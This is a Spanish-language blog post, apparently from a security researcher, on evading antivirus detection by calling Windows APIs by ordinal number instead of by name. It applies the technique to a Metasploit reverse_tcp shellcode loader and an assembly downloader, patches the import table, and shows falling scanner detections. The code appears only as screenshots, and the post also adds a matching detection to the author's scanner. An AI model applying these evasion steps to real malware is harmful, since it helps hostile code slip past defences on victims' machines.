tag:blogger.com,1999:blog-27076411242741715972024-03-13T18:54:23.639+01:00UN TAL 4N0NYM0US EN EL PCSeguridad Informática, Antivirus, ARP Poisoning, BackTrack, Black Hat SEO, SQLi, Contraseñas, Cracking, DDOS, Defacing, Directory Traversal, Dorks, Exploits, Hashes, Ingeniería Social, Keyloggers, Malware, Metasploit, MITM, Moodle, Packers, Crypters, Parches, Pentesting, Phising, Rogueware, Seguridad Wireless, Session Hijacking, Shell, Sniffers, Spam, SslStrip, Troyanos, User-Agent Cloaking, Vulnerabilidades, XSS, 4n4lDetector, ParameterFuzz, Bypass Antivirus por Germán Sánchez Garcés.Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.comBlogger122125tag:blogger.com,1999:blog-2707641124274171597.post-72223832482814815592015-11-28T00:21:00.000+01:002015-11-28T00:21:52.535+01:00Antivirus K.O. Ordinal Numbers vs API Names<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">Como mola poner un título en inglés, y luego redactar el
artículo en español. Sobre todo en estos tiempos en los que se puso tanto de
moda el vender humo, ya hasta el que usa la palabra “postureo”, me incita a
pensar que se junta con gente muy cool… <i>¡No
lo soporto! ¡Dudo hasta de entrecomillar esas mierdas! ¡Puta invasión Hipster!</i></span></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-family: "courier new" , "courier" , monospace;"><br /></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">Hoy quería hablaros sobre <a href="https://www.facebook.com/enelpc/posts/10153711101047970?pnref=story">un
sapo que me he comprado</a>, bueno, ya me pongo serio. <o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">Existen varios métodos para evitar el tener que declarar un API en la <i>Import Table</i> de un binario, y sin
embargo llegar a utilizarla. Métodos como <i>Call
API By Name</i>, <i>Call API By Hash</i>,
embeber una <i>Shellcode</i> suelen ser los
más habituales. En el caso que expongo, el API se encuentra declarada, pero no
con el nombre de la misma.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">La idea que se me había ocurrido, trata de probar a llamar a
las funciones que exportan las librerías, utilizando los números ordinales que
las referencian, en lugar de a sus nombres. Este método por cuestiones de
compatibilidad suele ser desaconsejado, ya que es posible que dependiendo del
sistema operativo donde el binario se ejecute, pueda llegar a no funcionar. Esto
existe sencillamente porque se encuentran multitud de funciones sin nombre, y
esta sería la única forma de poder llamarlas. No obstante, podemos utilizar mi
anterior <a href="https://www.google.es/search?q=%22M%C3%A9todo%20DAF%20By%204n0nym0us%22">método
DAF</a> para embeber las librerías que necesitemos en el sistema a modo <i>Dropper</i>, antes de ejecutar el malware en
cuestión.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">Para la prueba de concepto quería empezar con algo sencillo,
aunque posiblemente muy detectado. Con lo que se me ocurrió generar el “stage 1”,
la primera etapa de conexión del <i>payload</i>
de <b>Metasploit</b> “reverse_tcp”.<o:p></o:p></span></div>
<div class="MsoNormal">
<u><span style="font-family: "courier new" , "courier" , monospace;"></span></u></div>
<div class="separator" style="clear: both; text-align: center;">
<u><span style="font-family: "courier new" , "courier" , monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNQbRDVN4v2vSUo5t26gcTvcXwwSQuNWPac4RIXlBOTOXD7IZgn1Muaa_Jd0U_qI2VpeYTXu35VEn3QpJklmaOsa-B0PnM5oPYBS8BbXXhH5AflQdVLD2MYsQsLZHmEMYQJqXOu86h_Xfs/s1600/0_Shellcode_Generate.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNQbRDVN4v2vSUo5t26gcTvcXwwSQuNWPac4RIXlBOTOXD7IZgn1Muaa_Jd0U_qI2VpeYTXu35VEn3QpJklmaOsa-B0PnM5oPYBS8BbXXhH5AflQdVLD2MYsQsLZHmEMYQJqXOu86h_Xfs/s640/0_Shellcode_Generate.png" width="550" /></a></span></u></div>
<u><span style="font-family: "courier new" , "courier" , monospace;"><o:p></o:p></span></u><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">Para la ejecución de la </span><i style="font-family: 'Courier New', Courier, monospace;">ShellCode</i><span style="font-family: "courier new" , "courier" , monospace;">,
he compilado un binario desarrollado… </span><i style="font-family: 'Courier New', Courier, monospace;">¿cómo
no?</i><span style="font-family: "courier new" , "courier" , monospace;"> en </span><b style="font-family: 'Courier New', Courier, monospace;">Visual Basic 6</b><span style="font-family: "courier new" , "courier" , monospace;">, para no
perder la costumbre, mediante el uso de </span><i style="font-family: 'Courier New', Courier, monospace;">CallWindowProcA</i><span style="font-family: "courier new" , "courier" , monospace;">.</span></div>
<div class="MsoNormal">
<span style="font-family: "courier new" , "courier" , monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "courier new" , "courier" , monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitKLbwXH9DljfR-l8eZcz-CELyt8A057NP6sezqBB35dMscWbKvhFNoxyJqk7XZE3o1UHllwNgyLcxxot3c5SQJXAJbVSqjqMI8unFolFB67HspWNoKSj3YCuUHhtHKUzM16-tyYV7072l/s1600/1_CallwinProc_Vb6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="518" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitKLbwXH9DljfR-l8eZcz-CELyt8A057NP6sezqBB35dMscWbKvhFNoxyJqk7XZE3o1UHllwNgyLcxxot3c5SQJXAJbVSqjqMI8unFolFB67HspWNoKSj3YCuUHhtHKUzM16-tyYV7072l/s640/1_CallwinProc_Vb6.png" width="640" /></a></span></div>
<span style="font-family: "courier new" , "courier" , monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">La herramienta </span><b style="font-family: 'Courier New', Courier, monospace;">Pestudio</b><span style="font-family: "courier new" , "courier" , monospace;">,
abrirá el camino para identificar de forma rápida el número ordinal que utiliza
en mi sistema la función </span><i style="font-family: 'Courier New', Courier, monospace;">CallWindowProcA</i><span style="font-family: "courier new" , "courier" , monospace;">
de la librería </span><i style="font-family: 'Courier New', Courier, monospace;">user32.dll</i><span style="font-family: "courier new" , "courier" , monospace;">. La
siguiente imagen muestra las APIs que esta librería exporta.</span></div>
<div class="MsoNormal">
<span style="font-family: "courier new" , "courier" , monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "courier new" , "courier" , monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7qrxUNUHvR4Y8mR_DIrZuK2PAgxS6zGv9hfHUVAKLFQPt9dNUsY_1yyFi1Hus8LjvOrNWVUWR8rWKCgOtl1SO5qypzz9YWVmwbITY7ez6AoD34VD5qpUR5j8ij9ce4N-2kS7bLS8Rr-so/s1600/2_callwinproc_ORDINAL.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="270" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7qrxUNUHvR4Y8mR_DIrZuK2PAgxS6zGv9hfHUVAKLFQPt9dNUsY_1yyFi1Hus8LjvOrNWVUWR8rWKCgOtl1SO5qypzz9YWVmwbITY7ez6AoD34VD5qpUR5j8ij9ce4N-2kS7bLS8Rr-so/s640/2_callwinproc_ORDINAL.png" width="640" /></a></span></div>
<span style="font-family: "courier new" , "courier" , monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">El número ordinal </span><i style="font-family: 'Courier New', Courier, monospace;">1531</i><span style="font-family: "courier new" , "courier" , monospace;">
nos dará acceso a invocarla, con lo que realizaré los cambios en el código
anteriormente utilizado para llamarla.</span></div>
<div class="MsoNormal">
<span style="font-family: "courier new" , "courier" , monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "courier new" , "courier" , monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrzOCEXm0JGjsYgsV0v3QGKb-KhWyXx69B0ZTbo6rOkNkA45iX9UD1M4XuBR2MdGlW9Mvbg4XQvNYP5LJ8Y9VNg25XkkWeSg5MUNGIwNAcL5KckYVK5JSyU4fPHz1kpYxOEr-2N2F1Wxg3/s1600/2_callwinproc_ORDINAL_Vb6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="548" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrzOCEXm0JGjsYgsV0v3QGKb-KhWyXx69B0ZTbo6rOkNkA45iX9UD1M4XuBR2MdGlW9Mvbg4XQvNYP5LJ8Y9VNg25XkkWeSg5MUNGIwNAcL5KckYVK5JSyU4fPHz1kpYxOEr-2N2F1Wxg3/s640/2_callwinproc_ORDINAL_Vb6.png" width="640" /></a></span></div>
<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">Tras comprobar ambos binarios, se muestra como se realiza la
llamada en este caso. Algo físicamente más complejo de detectar que mi anterior
publicación del </span><a href="http://www.enelpc.com/2012/12/antivirus-ko-i-like-to-move-it.html" style="font-family: 'Courier New', Courier, monospace;">Método
Mmove</a><span style="font-family: "courier new" , "courier" , monospace;">, en el que se migraban los nombres de las funciones, a otros huecos.</span></div>
<div class="MsoNormal">
<span style="font-family: "courier new" , "courier" , monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "courier new" , "courier" , monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu2Nr3AjkPRbBLu4FmkunLMmbjJeDq1d9xFyuAzWJRO6gbKhjzkcmIqm-duoRy5oGy-dFB6R2Bf7sz-NcP6zjAKHIdgQ-iQlxOoNP2aCcJV82dRU_oYkA4HYJYIRv8at0FjEeIrHmtLHgV/s1600/3.1_API_MOD.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="104" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu2Nr3AjkPRbBLu4FmkunLMmbjJeDq1d9xFyuAzWJRO6gbKhjzkcmIqm-duoRy5oGy-dFB6R2Bf7sz-NcP6zjAKHIdgQ-iQlxOoNP2aCcJV82dRU_oYkA4HYJYIRv8at0FjEeIrHmtLHgV/s640/3.1_API_MOD.png" width="640" /></a></div>
<span style="font-family: 'courier new', courier, monospace; text-align: justify;">Sencillamente declaramos la función con el número ordinal que
hace referencia a la API en decimal.</span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">Comprobando con <i>Metasploit</i>,
si este último binario realmente funciona.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-family: "courier new" , "courier" , monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "courier new" , "courier" , monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbxIutxXQMXP6Xf3jpuAuZ-2ZeI7Ft_GG5_F60KCYAtz0KKaXj5JESZQWUXY9ZJaW1wx4mQ6lpfO_ouBJ-yNX-RE8L8KSZa9SDRllIczK27h3qVDpeTk_-RKhVwO7OuZrJwbaVaHj0eO9l/s1600/3_Shell_CONECT.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="248" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbxIutxXQMXP6Xf3jpuAuZ-2ZeI7Ft_GG5_F60KCYAtz0KKaXj5JESZQWUXY9ZJaW1wx4mQ6lpfO_ouBJ-yNX-RE8L8KSZa9SDRllIczK27h3qVDpeTk_-RKhVwO7OuZrJwbaVaHj0eO9l/s640/3_Shell_CONECT.png" width="640" /></a></span></div>
<span style="font-family: "courier new" , "courier" , monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">Ahora solo queda enviar las muestras a un </span><i style="font-family: 'Courier New', Courier, monospace;">Scanner Online</i><span style="font-family: "courier new" , "courier" , monospace;">.</span></div>
<div class="MsoNormal">
<span style="font-family: "courier new" , "courier" , monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "courier new" , "courier" , monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiU9yaAMu7Czf0OjbVVW3LVlClZAz4hiJiCKQVN_5q7F19tzos73iANP8eV3MjExoSomGsuxIUYd4rNC8k1iKqVRA_6PiKSpx0ea40Z52vhZC1amgO8cBdGff3N0ipuWxaPGIhmbYUFh6z/s1600/4_API_Ordinal.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="374" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiU9yaAMu7Czf0OjbVVW3LVlClZAz4hiJiCKQVN_5q7F19tzos73iANP8eV3MjExoSomGsuxIUYd4rNC8k1iKqVRA_6PiKSpx0ea40Z52vhZC1amgO8cBdGff3N0ipuWxaPGIhmbYUFh6z/s640/4_API_Ordinal.png" width="640" /></a></span></div>
<span style="font-family: "courier new" , "courier" , monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<i style="font-family: 'Courier New', Courier, monospace;">¡Esto funciona muñeca!</i><span style="font-family: "courier new" , "courier" , monospace;">
Como es lógico, algún antivirus debía de detectar la muestra, más que nada
porque se encuentra la ristra de </span><i style="font-family: 'Courier New', Courier, monospace;">opcodes</i><span style="font-family: "courier new" , "courier" , monospace;">
que forman el </span><i style="font-family: 'Courier New', Courier, monospace;">payload</i><span style="font-family: "courier new" , "courier" , monospace;"> embebido sin ningún
tipo de codificación o cifrado. Para evitar estas detecciones, lo más seguro es
que bastase con darle uso a una herramienta como </span><b style="font-family: 'Courier New', Courier, monospace;">Abronsius Code Ofuscator</b><span style="font-family: "courier new" , "courier" , monospace;">, </span><a href="http://www.enelpc.com/2015/05/antivirus-ko-4n4lcrypter-y-evasion-de.html" style="font-family: 'Courier New', Courier, monospace;">que
utilicé anteriormente en la creación de 4n4lCrypter</a><span style="font-family: "courier new" , "courier" , monospace;">.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">No podía dejar escapar esta oportunidad, para añadir una
detección que saldrá en la próxima versión de <a href="http://www.enelpc.com/p/4n4ldetector.html">4n4lDetector</a>, sobre este
tipo de binarios compilados en <i>Visual
Basic</i> <i>x</i>, que utilicen la invocación
de las APIs mediante sus números ordinales.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-family: "courier new" , "courier" , monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "courier new" , "courier" , monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8-uMpdGbiIvdICela-Lp-OE7FH9CgxdGxYi7UeUCfKR_eOTeLkP7ocqc8S069ZerTcfDDPvPWxiopExR6r1L84Kg-ubwmbmrewfjZsLn5OZagAdTC-k-FIQsZzXrpWJlQMj8HyZamBL4G/s1600/5_4n4ldetectorv1.3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="438" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8-uMpdGbiIvdICela-Lp-OE7FH9CgxdGxYi7UeUCfKR_eOTeLkP7ocqc8S069ZerTcfDDPvPWxiopExR6r1L84Kg-ubwmbmrewfjZsLn5OZagAdTC-k-FIQsZzXrpWJlQMj8HyZamBL4G/s640/5_4n4ldetectorv1.3.png" width="640" /></a></span></div>
<span style="font-family: "courier new" , "courier" , monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<i style="font-family: 'Courier New', Courier, monospace;">¡Hasta aquí todo chahi
piruleta!</i><span style="font-family: "courier new" , "courier" , monospace;"> Pero realmente lo divertido, sería modificar un binario ya
detectado del cual no tenemos acceso a sus fuentes, para llevar a cabo un
limpiado de detecciones como venía haciendo tiempo atrás.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">Así que como <i>Visual
Basic 6</i>, internamente es un poco tedioso a la hora de hacer las llamadas a
las APIs, ya que las carga de forma dinámica a través de otra función llamada <i>DllFunctionCall</i>. Me he pasado “temporalmente”
a un lenguaje, el cual deja de lado las marranadas en su <i>Import Table</i>, <i>Assembler</i>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">Algo muy sencillo, un <i>Downloader</i>
que utilizará tres APIs. La muy quemada <i>URLDownloadToFile</i>,
<i>ShellExecute</i> y <i>ExitProcess</i>. <i>¡El trío de las
blacklist!<o:p></o:p></i></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">Para el POC, he subido una calculadora de Windows a Google
Drive.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-family: "courier new" , "courier" , monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "courier new" , "courier" , monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFQD9RNxK52sGY7qsroRAy-7rwOKOwvj6dnRMwnBIRcHdvwlccIUQb1FK_YWxdtGT5J03aN9iwKINyJ7DKLneRCJe-WoytxuGI0PQlz98DZoHXlGL8rUjMqaV3-PmPyDBsVminRw13ThQW/s1600/0_ASM_DOWNLOADER.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFQD9RNxK52sGY7qsroRAy-7rwOKOwvj6dnRMwnBIRcHdvwlccIUQb1FK_YWxdtGT5J03aN9iwKINyJ7DKLneRCJe-WoytxuGI0PQlz98DZoHXlGL8rUjMqaV3-PmPyDBsVminRw13ThQW/s1600/0_ASM_DOWNLOADER.png" /></a></span></div>
<span style="font-family: "courier new" , "courier" , monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">Es salir de </span><i style="font-family: 'Courier New', Courier, monospace;">Visual
Basic</i><span style="font-family: "courier new" , "courier" , monospace;">, y asombra lo maravilloso que es compilar binarios de 2KB… jajajaa</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">He vuelto a utilizar <b>Pestudio</b>
para leer los ordinales de estas nuevas funciones, las cuales proceden de
librerías diferentes.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-family: "courier new" , "courier" , monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "courier new" , "courier" , monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMMILQP5JR81O5bN7AOAejJ02FvlMuGJ41gyZ4zLwfRpgZUotOfv11CCcEGsDpbVd6y8xyx-l9_N7NDDW97TRQmIdq6zmz2f2x1R9Zu5gW9j_IZ7pjXsPr0UN3LMEdJj5jLae6TZca4iIG/s1600/1_urlmon_urldownloadtofile.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="396" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMMILQP5JR81O5bN7AOAejJ02FvlMuGJ41gyZ4zLwfRpgZUotOfv11CCcEGsDpbVd6y8xyx-l9_N7NDDW97TRQmIdq6zmz2f2x1R9Zu5gW9j_IZ7pjXsPr0UN3LMEdJj5jLae6TZca4iIG/s640/1_urlmon_urldownloadtofile.png" width="640" /></a></span></div>
<span style="font-family: "courier new" , "courier" , monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">La primera prueba la haré con <i>URLDownloadToFile, </i>así que vuelta a un editor PE. Ya saben que yo soy
de utilizar <b>LordPE</b>, así que
abriremos el binario con este, nos dirigiremos a su tabla de importaciones y le
daremos a editar.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-family: "courier new" , "courier" , monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "courier new" , "courier" , monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjie92qQSX2ZQatpUrBfoH1hH-SQgRgHNuf3PnOqZOWtoOTkVXwzp8PVcjhOH6Hl_yqWEnOZn-Au52FWfZU30iej_ibaNEDpx7_YlTAFCH7t7A9VhDMQO3Skyvb4AoIxnzDRAIQELq4ghNx/s1600/2_edit_api_name.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjie92qQSX2ZQatpUrBfoH1hH-SQgRgHNuf3PnOqZOWtoOTkVXwzp8PVcjhOH6Hl_yqWEnOZn-Au52FWfZU30iej_ibaNEDpx7_YlTAFCH7t7A9VhDMQO3Skyvb4AoIxnzDRAIQELq4ghNx/s1600/2_edit_api_name.png" /></a></span></div>
<span style="font-family: "courier new" , "courier" , monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">Eliminaremos los bytes del <i>Hint</i> y el nombre de la <i>API</i>,
y agregaremos en <i>ThunkValue</i> el
ordinal en hexadecimal, sumado a (<i>0x80000000)</i>,
con el cual se representa este tipo de dato.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-family: "courier new" , "courier" , monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "courier new" , "courier" , monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVZPerjAJw2N_ZwnnKDP04rjSkTFrQi_fB-E9l66sCS6acKRrBfQnHg1CwsTEK8gFQWuWMG8KN71nBpyxfb5zTTz_4f9N1DXOsEBGF83695OTm8Kw2JfncdO7umeWNq-2bH99XRWRWzMUx/s1600/3_Ordinal_API.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVZPerjAJw2N_ZwnnKDP04rjSkTFrQi_fB-E9l66sCS6acKRrBfQnHg1CwsTEK8gFQWuWMG8KN71nBpyxfb5zTTz_4f9N1DXOsEBGF83695OTm8Kw2JfncdO7umeWNq-2bH99XRWRWzMUx/s1600/3_Ordinal_API.png" /></a></span></div>
<span style="font-family: "courier new" , "courier" , monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">Tras comprobar que este nuevo ejecutable funciona sin problemas,
se realiza el envío de ambas muestras.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-family: "courier new" , "courier" , monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "courier new" , "courier" , monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmGDOAuVVQuQ67qGTGh87VPQvWybuCQty-NhXamhw1qUQ58j-2zT3wRf9bBu2gI3_eem_YManvnmnC8EoDnJOrYl8VPDAR5vp2jNl4qATqPWxmT_A0MHv4a0kEUsd8VCbx-NTvjRAK6Y5P/s1600/4_Antivirus_KO.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmGDOAuVVQuQ67qGTGh87VPQvWybuCQty-NhXamhw1qUQ58j-2zT3wRf9bBu2gI3_eem_YManvnmnC8EoDnJOrYl8VPDAR5vp2jNl4qATqPWxmT_A0MHv4a0kEUsd8VCbx-NTvjRAK6Y5P/s640/4_Antivirus_KO.png" width="640" /></a></span></div>
<span style="font-family: "courier new" , "courier" , monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">Jajajaa… a mí personalmente me hace gracia. No pude evitar
ponerme algo de música, unas </span><a href="https://www.youtube.com/watch?v=iEIM8NlSe1o" style="font-family: 'Courier New', Courier, monospace;">10 horas de Vaina Loca</a><span style="font-family: "courier new" , "courier" , monospace;">,
una hora por antivirus saltado con tal de evadirme.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">Ya que estaba con el ritmo en las venas, decidí quitarme de
encima también las declaraciones de <i>ShellExecute</i>
y <i>ExitProcess. </i>Así que hice lo propio
con <i>LordPE</i>. Una nota importante, tras
revisar el binario modificado con este software, me di cuenta de que no realizaba
el borrado completo del nombre de la función, sino que tan solo ponía a <i>byte</i> nulo el primero del nombre, evitando
su lectura. No obstante, es sencillo terminar de dejarlo limpio con un editor
hexadecimal.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-family: "courier new" , "courier" , monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "courier new" , "courier" , monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0_ypiqu-WAdc3h7WUfyE1m7Nx4wh0h2FgLN51iu2OqtZXqrFxiOGVZBFQlRtrUnjYnQsk-uy0ZkcTDRPkPsfCnPFbpjcJMIKnfylp_60aQbMq7ltz2k-DPZxxbi9sBTM5P9Lj3eZoHCDP/s1600/5_LordPE.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="350" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0_ypiqu-WAdc3h7WUfyE1m7Nx4wh0h2FgLN51iu2OqtZXqrFxiOGVZBFQlRtrUnjYnQsk-uy0ZkcTDRPkPsfCnPFbpjcJMIKnfylp_60aQbMq7ltz2k-DPZxxbi9sBTM5P9Lj3eZoHCDP/s640/5_LordPE.png" width="640" /></a></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">Tras comprobar que el binario sigue cumpliendo con su
función. Lo envío de vuelta al <i>Scanner </i><i>Online</i>.</span></div>
<br />
<div class="MsoNormal">
<span style="font-family: "courier new" , "courier" , monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "courier new" , "courier" , monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi-uGxdS832KgpCOq_qz90fbmHxdh2uQcn0NNPAKZMl-S04dh6aXDO4_ELfOZj2dLBLdGfmH0eSc38CPDG7c9-AUEDCvZJ9Uzod3rLKJVdb-WUJtzSN5BPCkHNDZJx5h8-1K9KioVFrTUp/s1600/6_Antivirus_KO_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi-uGxdS832KgpCOq_qz90fbmHxdh2uQcn0NNPAKZMl-S04dh6aXDO4_ELfOZj2dLBLdGfmH0eSc38CPDG7c9-AUEDCvZJ9Uzod3rLKJVdb-WUJtzSN5BPCkHNDZJx5h8-1K9KioVFrTUp/s1600/6_Antivirus_KO_2.png" /></a></span></div>
<br />
<div class="MsoNormal" style="text-align: justify;">
<i style="font-family: 'Courier New', Courier, monospace;">Dr. Web</i><span style="font-family: "courier new" , "courier" , monospace;"> se baja
del carro. Realmente los dos que quedan, es posible que utilicen alguna rutina
de detección basada en la URL, con lo que seguro es bastante sencillo evitarles
ofuscando la cadena.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">Saludos 4n4les! ;)</span></div>
